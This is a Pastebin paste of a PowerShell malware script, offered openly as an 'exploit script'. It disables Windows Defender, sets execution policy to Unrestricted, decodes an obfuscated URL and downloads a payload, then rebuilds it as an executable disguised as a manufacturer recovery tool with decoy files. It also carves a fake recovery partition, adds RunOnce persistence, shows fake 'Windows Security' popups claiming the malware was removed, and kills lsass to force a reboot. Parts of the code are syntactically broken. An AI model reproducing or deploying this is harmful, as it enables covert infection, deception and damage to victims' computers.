Advertisement
Xplosive_

Powershell Exploit Script

Feb 19th, 2019
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ### My First Powershell script making it public because I no longer write in powershell by xplosive###
  2.  
  3.  
  4. if (Test-Path "$env:TEMP\ParamsTest\Defender.garbage") {
  5. $Defender = 1
  6. } else {
  7. $Defender = 0
  8. } elseif (Test-Path "$env:TEMP\ParamsTest\EnableOverride.garbage") {
  9. $EnableOverride = 1
  10. } else {
  11. $EnableOverride = 0
  12. } elseif (Test-Path "$env:TEMP\ParamsTest\EnablePayload.garbage") {
  13. $EnablePayload = 1
  14. $PayloadOptions = False
  15. } else {
  16. $EnablePayload = 0
  17. }
  18. elseif (Test-Path "$env:TEMP\ParamsTest\DriveCreation.garbage")  {
  19. $DriveCreation = 1
  20. } else {
  21. $DriveCreation = 0
  22.  
  23.  
  24.  
  25. if (Test-Path "$env:TEMP\TestPathHere.txt") {
  26. $SetNamesTest = 1
  27. }
  28. $Manu = Gwmi Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer
  29. $CurrentUser = $env:USERNAME
  30. $Current = $env:USERNAME
  31. $RandText = Get-Random
  32. $userInput::BlockInput($true)
  33. ## Disables Monitoring
  34. Set-MpPreference -DisableRealtimeMonitoring $true
  35. ## Sets exection policy
  36. $GetPolicy = Get-ExecutionPolicy
  37. if($GetPolicy -notmatch 'Unrestricted') {
  38. Set-ExecutionPolicy Unrestricted
  39. }
  40. ## Permission set for auto run
  41. $acl = Get-Acl "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  42. $rule = New-Object System.Security.AccessControl.RegistryAccessRule ("$CurrentUser","FullControl","Allow")
  43. $acl.SetAccessRule($rule)
  44. $acl | Set-Acl -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  45. ## Disables Windows Defender
  46. IF(!(Test-Path $RegPath))
  47.  
  48.  {
  49.    New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Force
  50.    New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value "1"
  51.    -PropertyType DWORD -Force }
  52. ELSE {
  53.    New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value "1"
  54.    -PropertyType DWORD -Force
  55. }
  56. ##Converts Payload link to text visits the link
  57. ##Then downloads the text converts to a zip
  58. ## Opens zip converts three parts of text inside
  59. ## to an exe and saves it for later
  60. $LeftData1 = "5423466743743535a4e66585656555"
  61. $LeftData2 = "1585a596c6d62657d4232647939636"
  62. $LeftData3 = "76744603243336638397c477642336"
  63. $Strung = Get-Variable LeftData* | select-Object -ExpandProperty value
  64. $ArrayBack1  = [String]::Join('',$Strung)
  65. $ArrayBack2  = $ArrayBack1 -split ""
  66. [array]::Reverse($ArrayBack2)
  67. $ArrayBack3 = $ArrayBack2 -join ''
  68. $PassArray = ""
  69. $ArrayBack3 -split '(.{2})' |%{ if ($_ -ne "") { $PassArray+=[CHAR]([CONVERT]::toint16("$_",16))  }}
  70. $ArrayText1 = $PassArray[0..14]  + "=" -join ""
  71. $ArrayText2 = $PassArray[15..29] + "=" -join ""
  72. $ArrayText3 = $PassArray[30..45] + "="  -join ""
  73. $ConvertPart3 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$ArrayText1"))
  74. $ConvertPart2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$ArrayText2"))
  75. $ConvertPart1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$ArrayText3"))
  76. $ArrayReturn = Get-Variable ConvertPart* | select-Object -ExpandProperty value
  77. $ArrayBackA1  = [String]::Join('',$ArrayReturn)
  78. $ArrayBackA2  = $ArrayBackA1 -split ""
  79. [array]::Reverse($ArrayBackA2)
  80. $Zshark = $ArrayBackA2 -join ''
  81. ### Converts payload to zip
  82. $BaseProgram = Invoke-WebRequest -Uri $Zshark -UseBasicParsing
  83. $ConvertedPayload = [Convert]::FromBase64String($BaseProgram)
  84. $Random = Get-Random
  85. $ZipName = "TEMPAPP " + $Random
  86. $UnzipName = "TEMPDATA " + $Random
  87. New-Item "$Env:TEMP\$ZipName.zip" -Type File -Force
  88. [io.file]::WriteAllBytes("$Env:TEMP\$ZipName.zip" , $ConvertedPayload)  
  89. Expand-Archive $env:TEMP\$ZipName.zip  -DestinationPath $env:TEMP\$UnzipName\
  90. Remove-Item $env:TEMP\*TEMPAPP* -Force -Recurse -ErrorAction SilentlyContinue
  91. ## Converts Text
  92. $Content1 = Get-Content $env:TEMP\$UnzipName\A.doc -Raw          
  93. $Content2 = Get-Content $env:TEMP\$UnzipName\B.doc -Raw  
  94. $Content3 = Get-Content $env:TEMP\$UnzipName\C.doc -Raw  
  95. ##Reverses Payload Text
  96. $arr1 = $Content1 -split ""
  97. [array]::Reverse($arr1)
  98. $REV1 = $arr1 -join ''
  99. $arr2 = $Content2 -split ""
  100. [array]::Reverse($arr2)
  101. $REV2 = $arr2 -join ''  
  102. $arr3 = $Content3 -split ""
  103. [array]::Reverse($arr3)
  104. $REV3 = $arr3 -join ''  
  105. #Joins Payload and convets to exe
  106. $ContentComb = Get-Variable REV* -ValueOnly
  107. $Join = ''
  108. $ContentComb1  = [String]::Join($Join,$ContentComb)
  109. $ConvertedText = [Convert]::FromBase64String($ContentComb1)
  110. #Folder Naming Scheme
  111. $ProgramName = $Manu + " Power Saver"
  112. $ProgramName1 = $Manu + " Recovery Tool"
  113. $VerNum = Get-Random -InputObject "Alpha ", "Beta ", "Public " , "Final "
  114. $VerNumMatch1 = Get-Random -Maximum 10
  115. $VerNumMatch2 = Get-Random -Maximum 6
  116. $FileSize1 = Get-Random -Maximum 50000
  117. $FileSize2 = Get-Random -Maximum 50000
  118. $FileSize3 = Get-Random -Maximum 10000
  119. $FileSize4 = Get-Random -Maximum 9000
  120. $VersionFolder = $VerNum + $VerNumMatch1 + "." + $VerNumMatch2
  121. $DriveName = $Manu + " Recovery Partition"
  122. #Makes it look like a manufacter product
  123. # Mean't for the computer
  124. New-Item "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\$ProgramName.exe" -Type File -Force
  125. [io.file]::WriteAllBytes("C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\$ProgramName.exe" , $ConvertedText)
  126. ##Creates Fake files
  127. remove-item "$env:TEMP\*TEMPDATA*" -Force -Recurse -ErrorAction SilentlyContinue
  128. New-Item "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolde\CrashReports" -Type Directory -Force
  129. fsutil file createnew "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\NetXServiceFile.dll" $FileSize1
  130. fsutil file createnew "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\PowerMeterF.dll" $FileSize2
  131. fsutil file createnew "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\$ProgramName.conf" $FileSize3
  132. fsutil file createnew "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\$Manu Diagnose.xml " $FileSize4
  133. ##Creates Fake Recovery Drive
  134. $DriveRandomLetter = Get-Content -Path "$env:APPDATA\FolderLetter\FolderLetter.txt"
  135. #Tests to see if a recovery drive has already been made
  136. if ($DriveRandomLetter -ne $null) {
  137. Resize-Partition -DriveLetter C -Size ((Get-Partition -DriveLetter C).Size - 20MB)
  138. $DiskNum = get-partition -DriveLetter C | get-disk | Select-Object -ExpandProperty number
  139. New-Partition -DiskNumber $DiskNum -UseMaximumSize -DriveLetter $DriveRandomLetter | Format-Volume -Force
  140. Set-Volume -DriveLetter $DriveRandomLetter -NewFileSystemLabel "$DriveName"
  141. $FileHere1 = "$DriveRandomLetter" + ":\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.exe"
  142. New-Item $FileHere1  -Type File -Force
  143. $FileHere2 = "$DriveRandomLetter" + ":\DataTest\Test.Data"
  144. New-Item $FileHere2 -Type File -Force
  145. $FileHere3 = "$DriveRandomLetter" + ":\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.exe"
  146. [io.file]::WriteAllBytes($FileHere3 , $ConvertedText)
  147. $FileHere4 = "$DriveRandomLetter" + ":\RecoveryXd4.dll"
  148. fsutil file createnew $FileHere4 $FileSize1
  149. $FileHere5 = "$DriveRandomLetter" + ":\RecoverList.Xmll"
  150. fsutil file createnew $FileHere5  $FileSize2
  151. $FileHere6 = "$DriveRandomLetter" + ":\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.conf"
  152. fsutil file createnew $FileHere6 $FileSize3
  153. $FileHere7 = "$DriveRandomLetter" + ":\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$Manu Recover.xml"
  154. fsutil file createnew $FileHere7 $FileSize4
  155. $FileHere8 = "$DriveRandomLetter" + ":\DataTest"
  156. $file8 = Get-Item $FileHere8
  157. $file8.Attributes = 'System'
  158. }elseif($DriveRandomLetter -eq $null) {
  159. $WH200 = New-Object -ComObject Wscript.Shell
  160. $WH200.Popup("We Are Going To Create A Recovery Drive Please Click Okay To Continue",0,"Windows Security",0x0)
  161. New-item "$env:APPDATA\FolderLetter\FolderLetter.txt" -type file -force
  162. $DriveRandom = ls function:[d-z]: -n | ?{ !(test-path $_) } | random
  163. $DriveLetterHere = $DriveRandom
  164. Add-Content "$env:APPDATA\FolderLetter\FolderLetter.txt" $DriveLetterHere
  165. Resize-Partition -DriveLetter C -Size ((Get-Partition -DriveLetter C).Size - 20MB)
  166. $DiskNum = get-partition -DriveLetter C | get-disk | Select-Object -ExpandProperty number
  167. New-Partition -DiskNumber $DiskNum -UseMaximumSize -DriveLetter $DriveLetterHere | Format-Volume -Force
  168. Set-Volume -DriveLetter $DriveLetterHere -NewFileSystemLabel "$DriveName"
  169. $FileHere9 = "$DriveLetterHere" + "\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.exe"
  170. New-Item $FileHere9 -Type File -Force
  171. $FileHere10 = "$DriveLetterHere" + "\DataTest\Test.Data"
  172. New-Item $FileHere10 -Type File -Force
  173. $FileHere11 = "$DriveLetterHere" + "\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.exe"
  174. [io.file]::WriteAllByte($FileHere11 , $ConvertedText)
  175. $FileHere12 = "$DriveLetterHere" + "\RecoveryXd4.dll"
  176. fsutil file createnew $FileHere12 $FileSize1
  177. $FileHere13 = "$DriveLetterHere" + "\RecoverList.Xml"
  178. fsutil file createnew $FileHere13 $FileSize2
  179. $FileHere14 = "$DriveLetterHere" + "\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.conf"
  180. fsutil file createnew $FileHere14 $FileSize3
  181. $FileHere15 = "$DriveLetterHere" + "\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$Manu Recover.xml"
  182. fsutil file createnew $FileHere15 $FileSize4
  183. $FileHere16 = "$DriveLetterHere" + "\DataTest"
  184. $file16 = Get-Item $FileHere16
  185. $file16.Attributes = 'System'
  186. }
  187. $userInput::BlockInput($true)
  188. ## Other Payload run next boot If first payload failed
  189. $RegPath1  = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
  190. $RegName1  = "Run"
  191. $RegValue1 = "C:\Users\$Current\$Manu\Release Version\$ProgramName\$VersionFolder\$ProgramName.exe"
  192. IF(!(Test-Path $RegPath1))
  193.  {
  194.    New-Item -Path $RegPath1 -Force
  195.    New-ItemProperty -Path $RegPath1 -Name $RegName1 -Value $RegValue1
  196.    -PropertyType DWORD -Force }
  197. ELSE {
  198.    New-ItemProperty -Path $RegPath1 -Name $RegName1 -Value $RegValue1
  199.    -PropertyType DWORD -Force
  200. }    
  201. ##Fixes file names
  202. If ($SetNamesTest -eq 1){
  203. Get-ChildItem  -Path *.exe -Recurse -Force | foreach { rename-item $_ $_.Name.Replace("INFECTED", "") }
  204. Get-ChildItem  -Path *.txt -Recurse -Force | foreach { rename-item $_ $_.Name.Replace("INFECTED", "") }
  205. Get-ChildItem  -Path *.png -Recurse -Force | foreach { rename-item $_ $_.Name.Replace("INFECTED", "") }
  206. Get-ChildItem -Path *.zip -Recurse -Force | foreach { rename-item $_ $_.Name.Replace("INFECTED", "") }
  207. Get-ChildItem -Path *.rar -Recurse -Force | foreach { rename-item $_ $_.Name.Replace("INFECTED", "") }
  208. #Resets set names variable
  209. Remove-Item -Path "$env:TEMP\TestPathHere.txt" -Force
  210. }
  211. Start-Sleep -Seconds 10
  212. ##Hides installed file
  213. $file = Get-Item "$env:USERPROFILE\Microsoft Apps"
  214. $file.Attributes = 'Hidden'
  215. $file4 = Get-Item "Z:\$Current\"
  216. $file4.Attributes = 'Hidden'
  217. #Waits for payload to install then disables user acess to autorun
  218. $acl1 = Get-Acl "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
  219. $rule1 = New-Object System.Security.AccessControl.RegistryAccessRule ("$CurrentUser","ReadAcess","Allow")
  220. $acl1.SetAccessRule($rule1)
  221. $acl1 | Set-Acl -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
  222. & "Z:\$Current\$Manu\Release Version\$ProgramName1\$VersionFolder\$ProgramName1.exe"
  223. $WH1 = New-Object -ComObject Wscript.Shell
  224. $userInput::BlockInput($false)
  225. ##Fake Completion Message    
  226. $WH1.Popup("Success Windows Defender Was Enabled And Powershell Removed The Malware, There Will Be A Log File On Your Desktop, Your Computer May Reboot Now",0,"Windows Security",0x0)
  227. ## Creates log file
  228. $InfoHereNow = Get-CimInstance Win32_OperatingSystem | Select Caption, InstallDate, ServicePackMajorVersion, OSArchitecture, BootDevice,  BuildNumber, CSName
  229. New-Item "C:\Users\$CurrentUser\Desktop\Removal Log.txt" -type file -force
  230. Add-content "C:\Users\$CurrentUser\Desktop\Removal Log.txt" $InfoHereNow
  231. Add-content "C:\Users\$CurrentUser\Desktop\Removal Log.txt" $FakeLog
  232. ##Reboots Computer
  233. $GetProcessID = Get-Process lsass | select-Object -ExpandProperty Id
  234. Stop-Process -Id $GetProcessID -force
  235. ##Exits
  236. exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement